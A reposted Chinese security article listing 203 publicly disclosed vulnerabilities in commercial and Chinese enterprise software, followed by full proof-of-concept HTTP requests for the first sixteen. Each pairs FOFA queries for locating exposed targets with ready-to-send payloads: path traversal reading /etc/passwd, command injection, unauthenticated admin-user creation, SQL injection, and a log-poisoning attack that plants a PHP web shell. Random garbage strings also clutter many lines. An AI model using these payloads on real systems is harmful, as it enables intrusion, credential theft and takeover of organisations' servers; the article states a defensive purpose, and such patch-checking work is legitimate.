互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
- M" h: T6 `* E( F9 H6 l; y8 j2 z道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

" x$ D* V6 q4 P# _7 p5 N2 V$ Y- e发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。
3 W/ {0 U- c  Z/ L( V
漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。

( g) s3 F' H. {5 ]# s安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。
( C+ a! b) n" }7 p" `" ]
文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

: M7 m# U; U3 s$ B3 F2 `合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。

; C$ D  k" L# D0 P$ y
+ t9 d. r4 O7 p' W声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

8 Q, d& \6 b7 `/ R* M% R3 `有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
8 D8 Z3 f" u  w; J
! [. e2 J8 X$ U
6 N. A7 O: i% o) x, F9 K
目录

. s; ?) Y( {! T4 y  s  }7 Z, M01
# o" A9 ]8 f; u# o
$ y4 X) g2 g* K1. StarRocks MPP数据库未授权访问
+ j5 ]* e1 B* d$ B7 o2. Casdoor系统static任意文件读取
3. EasyCVR智能边缘网关 userlist 信息泄漏
4. EasyCVR视频管理平台存在任意用户添加
5. NUUO NVR 视频存储管理设备远程命令执行
3 o- I$ S7 H. O6 L- c9 b2 c* i6 e6. 深信服 NGAF 任意文件读取
7. 鸿运主动安全监控云平台任意文件下载
% o" ^, h% h! m) [: [8. 斐讯 Phicomm 路由器RCE
9. 稻壳CMS keyword 未授权SQL注入
  h! N9 \, M8 r4 C2 e5 @. M& I6 n0 E% [10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
1 c- b3 l) Z+ T! ^4 L+ m, M# K* o11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
3 ~' u3 o5 f' O12. Jorani < 1.0.2 远程命令执行
3 z) ^- z5 [; S6 A' ?/ `, ~# o13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
8 B8 L# `9 v2 L6 X. D9 F+ A3 z15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
- l0 H( S* C# |+ m17. 大华 DSS itcBulletin SQL 注入
" p( z( }2 y  A1 z' z' l. ], W18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
* o* x+ E4 ~; i  q. d20. 大华ICC智能物联综合管理平台任意文件读取
21. 大华ICC智能物联综合管理平台random远程代码执行
1 \# b" x  ~3 |22. 大华ICC智能物联综合管理平台 log4j远程代码执行
! I: ]% W4 {% A0 P0 ^: Y% N23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
! y& [& p+ _8 g( e26. 用友NC linkVoucher SQL注入
27. 用友 NC showcontent SQL注入
- z8 Z  W" u  Y28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
, @- J7 e, V( T31. 用友NC runStateServlet SQL注入
32. 用友NC complainbilldetail SQL注入
1 V. g7 {5 X' l) m+ t6 f' I6 z33. 用友NC downTax/download SQL注入
34. 用友NC warningDetailInfo接口SQL注入
35. 用友NC-Cloud importhttpscer任意文件上传
% b/ d* N; t1 g; B' v# H36. 用友NC-Cloud soapFormat XXE
37. 用友NC-Cloud IUpdateService XXE
38. 用友U8 Cloud smartweb2.RPC.d XXE
0 M; u8 C0 o# ~( G! T, q8 u  ~39. 用友U8 Cloud RegisterServlet SQL注入
40. 用友U8-Cloud XChangeServlet XXE
; O/ A( w) E( d$ o( v! w4 N. x7 q5 p41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
* p1 |6 q! c1 v8 K42. 用友GRP-U8 SmartUpload01 文件上传
; j/ z/ x! q$ ]! U43. 用友GRP-U8 userInfoWeb SQL注入致RCE
& u1 i3 C- c0 q6 V6 w" @44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
5 x* l4 a+ {! I* F) U52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
' ?9 z7 m4 u: S5 F. p' t$ t" L55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
& s# P& g8 ?  w% w0 c( H5 {! K57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
4 c! ]& Q7 A, H$ f0 P% L61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
6 ?4 v5 v: j/ q5 W5 N0 g0 a, g9 E62. IP-guard WebServer 远程命令执行
% Q  l) z/ T& U6 {- L6 H63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
' O. O1 X& ~0 V3 W* {$ l65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
5 U" ^  r9 U; v2 ~  x# ?0 C67. 万户ezOFFICE wpsservlet任意文件上传
- o+ M/ f6 n6 B# J7 B68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
' T- F1 P1 r' j) O4 S70. 万户ezEIP success 命令执行
& a5 h' P2 V) Z) C6 s# ~71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
72. 致远OA getAjaxDataServlet XXE
2 F5 g$ s/ r3 j( Z2 p' }! a73. GeoServer wms远程代码执行
- V7 A9 i: W8 l7 L74. 致远M3-server 6_1sp1 反序列化RCE
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
4 u" Z" a! Q! u7 r* g76. 新开普掌上校园服务管理平台service.action远程命令执行
. a$ q% W6 _7 i; `77. F22服装管理软件系统UploadHandler.ashx任意文件上传
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
) f4 f7 A# {% {# c: S0 n79. BYTEVALUE 百为流控路由器远程命令执行
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
4 A8 O# d9 Q, {82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
, u" \) P4 F" v* L8 g$ T/ Y1 N' {83. JeecgBoot testConnection 远程命令执行
: q$ p" g+ y# I2 j8 H84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
85. SysAid On-premise< 23.3.36远程代码执行
! Y$ e2 J& a4 y( U86. 日本tosei自助洗衣机RCE
87. 安恒明御安全网关aaa_local_web_preview文件上传
& b/ ~4 `6 d% g6 p; q2 E/ U88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
& v) r" h0 z7 ~; ?! F, h89. 致远互联FE协作办公平台editflow_manager存在sql注入
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
& d1 o+ G% I3 @/ g! w) E7 i% x% P91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
/ G+ r6 U$ m" F6 s92. 海康威视运行管理中心session命令执行
93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
  }) n5 u  C4 b97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
+ o* z: c" E0 s7 f  \& P7 Q98. SpiderFlow爬虫平台远程命令执行
% [7 Y) H- d0 c/ y) `) M6 g99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
101. ivanti policy secure-22.6命令注入
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
$ A: F8 z9 C- M$ ^# G103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
% A* R6 F4 c' _; Q: d$ P4 h105. SpringBlade v3.2.0 export-user SQL 注入
106. SpringBlade dict-biz/list SQL 注入
" e4 E0 a( k, c. N) W4 q- P( U107. SpringBlade tenant/list SQL 注入
' h( b8 ]5 m$ J, C9 F/ ]108. D-Tale 3.9.0 SSRF
# u$ M, P3 ]) u9 p: q- x" \9 o109. Jenkins CLI 任意文件读取
110. Goanywhere MFT 未授权创建管理员
$ q4 F) Y$ k8 v5 F0 G5 F111. WordPress Plugin HTML5 Video Player SQL注入
9 h3 o3 k4 F3 _" b112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
* W/ P, f2 j. F115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
8 t/ _1 @+ X* h5 Y+ m9 I# y, o119. 北京百绰智能S20后台sysmanageajax.php sql注入
5 _; g8 U- S- z: P120. 北京百绰智能S40管理平台导入web.php任意文件上传
7 ]) u6 ]9 U' r2 P% ~: j121. 北京百绰智能S42管理平台userattestation.php任意文件上传
122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
124. 湖南建研工程质量检测系统任意文件上传
' {' T5 }  \/ S- T125. ConnectWise ScreenConnect身份验证绕过
9 d( n# M- w6 h& O4 [4 m+ d126. Aiohttp 路径遍历
0 V  s$ `) a+ U4 b& i( L9 \6 A127. 广联达Linkworks DataExchange.ashx XXE
+ H# A0 I7 u" K# W128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
3 e1 a) w3 [4 P& t7 H& E  z0 |130. Laykefu客服系统任意文件上传
131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
, m4 {# O# B# E" g+ o0 c) c$ v. K133. H5 云商城 file.php 文件上传
3 q: a+ ~; A; Q& O; B' m/ v134. 网康NS-ASG应用安全网关index.php sql注入
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
* c1 H: d$ G% l: `, k+ {6 |* g- c' q7 m136. NextChat cors SSRF
# e7 y3 f6 }  m8 O$ W# h* U137. 福建科立迅通信指挥调度平台down_file.php sql注入
4 r* P9 Q1 L5 j7 S138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
& A2 r. C5 N1 x$ A* P+ s139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
142. CMSV6车辆监控平台系统中存在弱密码
143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
' U2 u3 m: A) \& U1 {( v% i146. MajorDoMo thumb.php 未授权远程代码执行
! C1 t) N% K/ a0 B' h1 G6 \147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
5 G2 y: t+ M9 ?% u2 g, L150. AJ-Report 1.4.0 认证绕过与远程代码执行
) k9 O" p, w0 A6 m151. AJ-Report 1.4.1 pageList sql注入
152. Progress Kemp LoadMaster 远程命令执行
153. gradio任意文件读取
& ]/ @6 h% n! y$ a0 K  T" _154. 天维尔消防救援作战调度平台 SQL注入
) i# @: e( M2 w155. 六零导航页 file.php 任意文件上传
156. TBK DVR-4104/DVR-4216 操作系统命令注入
157. 美特CRM upload.jsp 任意文件上传
, Y$ h& {+ I6 c5 r! Z; q158. Mura-CMS-processAsyncObject存在SQL注入
159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
6 {2 [3 I, U3 C" D7 X160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
# r5 E* I" ^4 Z, i6 m7 `163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
) d% y: D# i9 y4 t$ N* l: g165. OrangeHRM 3.3.3 SQL 注入
166. 中成科信票务管理平台SeatMapHandler SQL注入
167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
" N0 V: ~" I0 }* P- |5 h172. DT-高清车牌识别摄像机任意文件读取
$ p( m9 }8 X2 H% X1 m! D173. Check Point 安全网关任意文件读取
" M9 f3 r; E8 Y( C, O174. 金和OA C6 FileDownLoad.aspx 任意文件读取
175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
178. H3C校园网自助服务系统-flexfileupload-任意文件上传
! }; R, U( I8 D) ?+ {179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
/ x* N* H" l) d7 s$ D8 O- ~6 X183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
) F( p+ ?; z% {8 z. E0 G185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
187. Mura CMS processAsyncObject SQL注入
$ O! A: I& L+ X  o188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
1 J; h: e# M3 @9 k* B. \190. 短视频矩阵营销系统 poihuoqu 任意文件读取
191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
8 y) V) A/ h# V6 K5 I% h: ^192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
3 ^& p5 A- t1 E- e! M4 k196. 河南省风速科技统一认证平台密码重置
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
5 O8 v) U; M1 h5 Z  \200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
1 }" D4 Y# R- d9 k8 m6 L202. 微擎系统 AccountEdit任意文件上传
203. 红海云EHR PtFjk 文件上传
5 R) x! }7 o8 o/ C# F* T8 X
POC列表
0 w5 A% E. S4 R* j
02
: P& v. B5 V0 p8 E6 [. w
2 \; \: x  L7 U* w" C. n. W1. StarRocks MPP数据库未授权访问
FOFA ：title="StarRocks"
4 S' w# T& N' q! RGET /mem_tracker HTTP/1.1
Host: URL

7 g- k& M: V  z" G: x# `. y
7 h% Z* U  i# ^, D) v; X" k2. Casdoor系统static任意文件读取
+ h& Y9 x' K* d( hFOFA ：title="Casdoor"
3 S" O; f  g7 y: I1 P# xGET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
Host: xx.xx.xx.xx:9999
: H5 G0 E4 _9 e% B1 H2 AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
) D9 n/ O! {2 ~& ^' X4 |1 [Connection: close
2 d+ V3 v( S- ?/ `" ^5 w4 f. y( `Accept: */*
Accept-Language: en
Accept-Encoding: gzip
; Z3 c! T( P# j; @+ P2 D

3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
9 `2 A0 E( k4 r  e4 tGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
" f% {2 w: x5 j$ J# m! |; GHost: xx.xx.xx.xx


# V* H3 ]( c+ ^5 w) h. Q# y4. EasyCVR视频管理平台存在任意用户添加
  I3 j8 D- [1 c1 a7 xFOFA ：title="EasyCVR"
) L! t' v5 B5 [4 ~( w. v. M
password更改为自己的密码md5
& v' i9 ]; h* m6 w6 ^: r2 OPOST /api/v1/adduser HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
- S" B$ `; {8 E
name=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1
' }% f8 E+ _0 Y8 _* X) V
7 M# k! M. [5 v1 r( D) D2 S6 a
8 w7 B7 ]' j0 B6 ]) f- @; i5. NUUO NVR 视频存储管理设备远程命令执行
& h9 j, o8 o' K8 I1 t% H% WFOFA：title="Network Video Recorder Login"
) F: w& j" ?+ I. |+ K7 sGET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
) |- i" r+ @9 Z5 L/ B" _) fHost: xx.xx.xx.xx
3 A" R! t$ ?) |5 d

2 |, U. g% _. C4 F* V3 p6. 深信服 NGAF 任意文件读取
/ E7 z: [7 d, j  H/ {% \9 e4 iFOFA：title="SANGFOR | NGAF"
6 [* E# _" T) R& j7 S$ WGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

% S( J* s0 J5 t6 G5 r) Q  b
7. 鸿运主动安全监控云平台任意文件下载
FOFA：body="./open/webApi.html"
/ e% d* y7 I3 GGET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
Host:

$ l4 c5 z% T: D' V& g' [/ x5 |
8. 斐讯 Phicomm 路由器RCE
, ]7 H' f  V  N% _FOFA：icon_hash="-1344736688"
默认账号admin登录后台后，执行操作
% u$ ]0 d( A( IPOST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
Cookie: sysauth=第一步登录获取的cookie
# G6 m  t2 f/ u. U# A5 z6 ?" NContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
5 U( q/ t  M, c- a5 c8 `- u  K0 [User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
& v& C" Q  @" y( S- ~" {3 d
------WebKitFormBoundaryxbgjoytz
3 Z  d& j1 E, A9 ]Content-Disposition: form-data; name="wifiRebootEnablestatus"
5 s4 z+ S6 x' P$ a3 v2 m
%s
------WebKitFormBoundaryxbgjoytz
6 p" C8 ~" c5 v0 N/ W4 {6 k: {7 FContent-Disposition: form-data; name="wifiRebootrange"

3 F; V* j$ \5 ]! X9 @3 L12:00; id;
4 K- F2 r# g% b! N------WebKitFormBoundaryxbgjoytz
/ B3 ~& V" U$ QContent-Disposition: form-data; name="wifiRebootendrange"
9 m. H+ F6 `. P
% C" T2 N3 d3 L; ]3 [6 }7 f8 ~%s:
------WebKitFormBoundaryxbgjoytz
, x' g2 r/ m% _. {6 ^: G4 AContent-Disposition: form-data; name="cururl2"


------WebKitFormBoundaryxbgjoytz--

4 h: e3 D1 C! p* t- F: P
, T, M, H; ~4 t  i9. 稻壳CMS keyword 未授权SQL注入
0 R/ G& R; n+ p& }FOFA：app="Doccms"
3 f! c! l3 L0 A2 ]. ]GET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
Host: x.x.x.x
8 S5 w6 n: l# z3 m4 N2 y3 h
( ?& J' V. b" v+ i3 F8 R' W
7 u, |* A/ x1 \/ `  E2 z+ g. i) ipayload为下列语句的二次Url编码
9 l* ^9 a! N. T
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#

10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
$ \  N( _+ r4 w; Z. V: ]FOFA：icon_hash="953405444"

6 w! r# r/ ~: e+ G% x文件上传后响应中包含上传文件的路径
- f* }$ |! Q6 t3 X+ e. APOST /eis/service/api.aspx?action=saveImg HTTP/1.1
$ W1 c$ ?- o- D0 k  T& s9 CHost: x.x.x.x:xx
5 R) T' g4 [; WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
: F9 {  K1 g+ L3 a8 g8 ZContent-Length: 197
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
4 D  u' {) t  @4 a5 tAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu
: s+ r' p) s" ?$ q1 H
8 h7 f! B2 H' a! m- _, i5 w* s------WebKitFormBoundaryxdgaqmqu
Content-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

  I- ]. u3 w9 ~+ A: ?jmnqjfdsupxgfidopeixbgsxbf
------WebKitFormBoundaryxdgaqmqu--

& ^) K9 t# \% J& A
4 u7 x+ D! P' H% H4 ]5 ?& w! ~11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
' p/ a. M/ D. c9 Q3 FFOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
* S1 Z5 r2 J2 @$ L7 p/ t" eGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
( w7 X6 o+ W) R" ]: Q7 ECache-Control: no-cache
- p/ U2 }- G% g, Q1 R1 x: L9 f6 u5 _Upgrade-Insecure-Requests: 1
$ y* v! }- j) m9 `# W* |User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ o) b, n/ b1 O( c) dAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
/ B1 C* F1 p' y  IAccept-Language: zh-CN,zh;q=0.9,en;q=0.8
* f- P  }, z0 hConnection: close


12. Jorani < 1.0.2 远程命令执行
8 o' g% |  V1 |4 sFOFA：title="Jorani"
第一步先拿到cookie
, z, O$ |% G8 N0 K; lGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

6 W6 [9 ?2 ?8 K; B  Y
响应中csrf_cookie_jorani用于后续请求
3 g0 t# [# |# e: ZHTTP/1.1 200 OK
Connection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
4 _  n; [/ g# {  i! y: f  h# r$ z; sDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
8 Z6 P" t' C$ s1 ^7 M7 Z3 GLast-Modified: Tue, 24 Oct 2023 09:34:28 GMT
. q. q. N' P* d$ k2 B/ X6 R7 sPragma: no-cache
Server: Apache/2.4.54 (Debian)
Set-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
Set-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
( U& Z* s+ k& U  h

POST请求，执行函数并进行base64编码
POST /session/login HTTP/1.1
' I4 |! @3 ]+ j* k1 l1 v- _6 LHost: 192.168.190.30
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
Connection: close
' [! d9 k- V: TContent-Length: 252
Content-Type: application/x-www-form-urlencoded
4 K8 U0 b8 u( B+ fCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
Accept-Encoding: gzip
" D5 I- ~# p' `3 n( i$ s
3 \: c6 O1 F% c' h7 w1 _& dcsrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor

6 @8 ^  m. X, F% [

向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
GET /pages/view/log-2023-10-24 HTTP/1.1
9 Q' R  x$ d; i- T2 iHost: 192.168.190.30
4 O3 E% {2 e1 g; E* s0 @7 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
8 Z1 N/ L( Y3 XCookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
K1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
! _7 X; ^# N! x- X$ MX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
5 Q* l% @+ A0 r, U( \
' [1 ~5 D' A4 b1 v7 I+ L4 C+ B/ n" ^
13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
6 T( Z8 k6 j' U: o2 u% u. b$ y$ SGET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Accept: */*
) U' q; ^+ C  U- R7 XAccept-Encoding: gzip


14. 华夏ERP（jshERP）敏感信息泄露
) l' e7 |7 _+ o1 B6 HFOFA：body="jshERP-boot"
# Q0 E$ r9 R4 J1 a( W泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
+ j3 J( |$ p6 o& WHost: x.x.x.x
+ G, \% k8 a3 y, r" M$ g9 F) I0 W- RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
, _8 M$ d8 {* v6 JConnection: close
Accept: */*
7 q$ m+ s) E& z5 FAccept-Language: en
Accept-Encoding: gzip

/ Y/ f# y% U+ y' z3 J) R6 u
15. 华夏ERP getAllList信息泄露
CVE-2024-0490
FOFA：body="jshERP-boot"
9 ^. l. d% T+ \$ b+ ?' h泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
- t1 `7 K& P; J- yHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
" P1 \3 U7 O5 R9 {/ JConnection: close
! |. i$ F7 B3 \, t% k7 mAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
) A; f0 t$ q) h  z5 D' S, P- n: }Accept-Language: en
6 t" `4 T% z4 ~, M( ssec-ch-ua-platform: Windows
Accept-Encoding: gzip
, |2 `& ]  [- P% ^) K3 u+ Q* R

. V7 M( d- L/ [* a4 U16.  红帆HFOffice医微云SQL注入
, P: J- k( F$ k1 k6 Q) O6 b( }FOFA：title="HFOffice"
/ v* q0 }) P/ J3 `' Cpoc中调用函数计算1234的md5值
